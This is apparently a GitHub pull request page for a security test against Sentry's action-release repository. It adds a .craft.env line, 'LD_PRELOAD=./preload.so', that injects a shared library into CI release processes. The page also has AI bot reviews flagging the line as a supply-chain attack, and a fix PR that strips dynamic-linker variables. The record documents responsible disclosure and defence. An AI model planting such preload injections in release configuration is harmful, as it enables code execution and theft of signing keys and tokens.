Security Test PR#315
Conversation
| @@ -0,0 +1 @@ | |||
| LD_PRELOAD=./preload.so No newline at end of file | |||
There was a problem hiding this comment.
Bug: .craft.env sets LD_PRELOAD=./preload.so to inject a malicious shared library into all processes during craft release pipeline.
Severity: CRITICAL
Suggested Fix
Reject this PR entirely. Do not merge. The .craft.env file and preload.so are malicious. Consider adding .craft.env protections or CODEOWNERS rules to prevent unauthorized modifications to release configuration files.
Prompt for AI Agent
Review the code at the location below. A potential bug has been identified by an AI
agent. Verify if this is a real issue. If it is, propose a fix; if not, explain why it's
not valid.
Location: .craft.env#L1
Potential issue: This PR is a supply chain attack. The `.craft.env` file is read by
Sentry's `craft` release tool to set environment variables. Setting
`LD_PRELOAD=./preload.so` causes the Linux dynamic linker to load the attacker-supplied
`preload.so` binary into every process spawned during the release pipeline. This allows
arbitrary code execution in the CI/CD environment — potentially stealing secrets,
tokens, signing keys, or injecting malicious code into release artifacts. The `craft`
tool reads `.craft.env` from the project root (per its documented configuration loading
behavior), making this a direct attack vector. The accompanying `preload.so` binary is
the payload.
Did we get this right? 👍 / 👎 to inform future reviews.
There was a problem hiding this comment.
Cursor Bugbot has reviewed your changes and found 1 potential issue.
❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.
Reviewed by Cursor Bugbot for commit 346f285. Configure here.
| @@ -0,0 +1 @@ | |||
| LD_PRELOAD=./preload.so No newline at end of file | |||
There was a problem hiding this comment.
LD_PRELOAD injection via .craft.env is a supply chain attack
High Severity
The new .craft.env file sets LD_PRELOAD=./preload.so, which is a classic shared library injection technique. This causes the dynamic linker to load preload.so (which also exists in the repository root) before all other libraries whenever any process runs with this environment. Since craft is used in release workflows (.craft.yml), this could execute arbitrary code during CI/CD pipelines, constituting a supply chain attack vector. The preload.so binary and the LD_PRELOAD directive have no legitimate purpose in this GitHub Action repository.
Reviewed by Cursor Bugbot for commit 346f285. Configure here.
|
Hello from GitHub Actions! - See E-Mail |
|
Report sent to security@sentry.io. |
Semver Impact of This PR⚪ None (no version bump detected) 📋 Changelog PreviewThis is how your changes will appear in the changelog. Internal Changes 🔧
Other
🤖 This preview updates automatically when you update the PR. |
|
Thank you for raising this! |
#794) ## Summary Addresses the `LD_PRELOAD` RCE vector demonstrated in [getsentry/action-release#315](getsentry/action-release#315). A contributor PR to any Craft-using repo could plant a `.craft.env` file containing `LD_PRELOAD=./preload.so` plus a malicious shared library; when Craft ran in CI it would hydrate `process.env.LD_PRELOAD` and every subprocess Craft spawned (git, npm, gpg, docker, etc.) would load the attacker's code with access to all release secrets. This PR removes the primary vector and hardens three adjacent surfaces so a future regression (or an earlier CI step planting dangerous env vars) cannot be similarly weaponised. ## Changes ### 1. Remove `.craft.env` file reading (primary fix) - `src/utils/env.ts`: delete `readEnvironmentConfig`, `ENV_FILE_NAME`, `checkFileIsPrivate`. Add `warnIfCraftEnvFileExists()` which only calls `existsSync` and emits a one-time warning per legacy file location, pointing users at the shell / CI environment. **`process.env` is never hydrated from a file again.** - `src/index.ts`: swap the call site. - `package.json` / `src/types/nvar.ts`: drop the `nvar` dependency and its type shim. - `docs/.../getting-started.md`: replace the "Environment Files" section with a short note that credentials must come from the shell / CI. ### 2. Strip dynamic-linker env vars at startup (defence-in-depth) - `src/utils/env.ts`: new `sanitizeDynamicLinkerEnv()` deletes `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_AUDIT`, `DYLD_INSERT_LIBRARIES`, `DYLD_LIBRARY_PATH`, `DYLD_FRAMEWORK_PATH`, `DYLD_FALLBACK_LIBRARY_PATH`, `DYLD_FALLBACK_FRAMEWORK_PATH` from `process.env` with a per-key warning. Values are never logged. - Emergency escape hatch: `CRAFT_ALLOW_DYNAMIC_LINKER_ENV=1` preserves the vars but emits a noisy info-level log naming which keys were preserved. - Called from `src/index.ts` as the very first thing `main()` does. ### 3. Allowlist env forwarded to `preReleaseCommand` (breaking change) Previously `runCustomPreReleaseCommand` in `src/commands/prepare.ts` forwarded `{ ...process.env, ...additionalEnv }` to the subprocess — anything in the parent env (including `LD_PRELOAD`, cloud credentials, etc.) leaked through. - New `src/utils/releaseCommandEnv.ts` exports `ALLOWED_ENV_VARS` and `buildReleaseCommandEnv(extras)` which returns `{ PATH, GITHUB_TOKEN, HOME, USER, GIT_COMMITTER_NAME, GIT_AUTHOR_NAME, EMAIL, ...extras }`. - `prepare.ts` and `publish.ts` both use the shared helper. `runPostReleaseCommand` behaviour is unchanged — it already used an inline allowlist — but the inline code is replaced with the shared helper. - **Breaking**: pre-release scripts no longer inherit arbitrary env vars. If a script needs additional variables, rename them with a `CRAFT_` prefix (yargs auto-promotes `CRAFT_*` to CLI options) or have the script source them from a secrets file. ### 4. Gate `--config-from` behind `--allow-remote-config` (breaking change) `--config-from <branch>` fetches `.craft.yml` from a remote git ref via `git show` and feeds it to `loadConfigurationFromString`, which configures the `preReleaseCommand` that Craft later executes. That's effectively arbitrary-command execution from a network-fetched payload. - `src/commands/prepare.ts`: new `--allow-remote-config` flag (also honoured as `CRAFT_ALLOW_REMOTE_CONFIG=1`). - Exported `assertRemoteConfigAllowed()` helper throws `ConfigurationError` naming the branch and the opt-in flag when `--config-from` is used without the opt-in. When opted in, Craft logs a warning identifying the branch. ## Testing - **New tests** (`src/utils/__tests__/env.test.ts`): 5 tests for `sanitizeDynamicLinkerEnv` covering all keys, opt-out behaviour, value-not-in-log property; 5 tests for `warnIfCraftEnvFileExists`. - **New tests** (`src/commands/__tests__/prepare.test.ts`): planted `LD_PRELOAD` / `AWS_SECRET_ACCESS_KEY` / `SECRET_TOKEN` in `process.env` and assert none reach the spawn env; 3 tests for `assertRemoteConfigAllowed`. - **New test** (`src/commands/__tests__/publish.test.ts`): same attacker-planted-env regression for `runPostReleaseCommand` (locks in the existing allowlist behaviour). - Full suite: 947 passed (same 7 pre-existing environmental failures in `prepare-dry-run.e2e.test.ts` as on master; unrelated). - `pnpm build` passes; `pnpm lint src/` reports 0 errors (only pre-existing warnings). ## Verification steps 1. `pnpm install && pnpm test && pnpm build` — all pass. 2. `rg -n "nvar|ENV_FILE_NAME|readEnvironmentConfig" src/ docs/src/` — no hits. 3. Plant `.craft.env` next to `.craft.yml` in a scratch dir; Craft warns and does **not** load it. 4. Export `LD_PRELOAD=x` in your shell and run `./dist/craft --help` — Craft strips it and warns. 5. `./dist/craft prepare --config-from some-branch 1.0.0` — rejected with a `ConfigurationError` naming `--allow-remote-config`. ## Breaking changes See the commit body. Summarised: - `.craft.env` is no longer read; use shell / CI env instead. - `preReleaseCommand` receives only allowlisted env vars. - `LD_PRELOAD` / `DYLD_*` are stripped at startup (override: `CRAFT_ALLOW_DYNAMIC_LINKER_ENV=1`). - `--config-from` requires `--allow-remote-config` (override: `CRAFT_ALLOW_REMOTE_CONFIG=1`).


GitHub Action security related testing - I will contact you at your dedicated security E-Mail if there is anything worth reporting.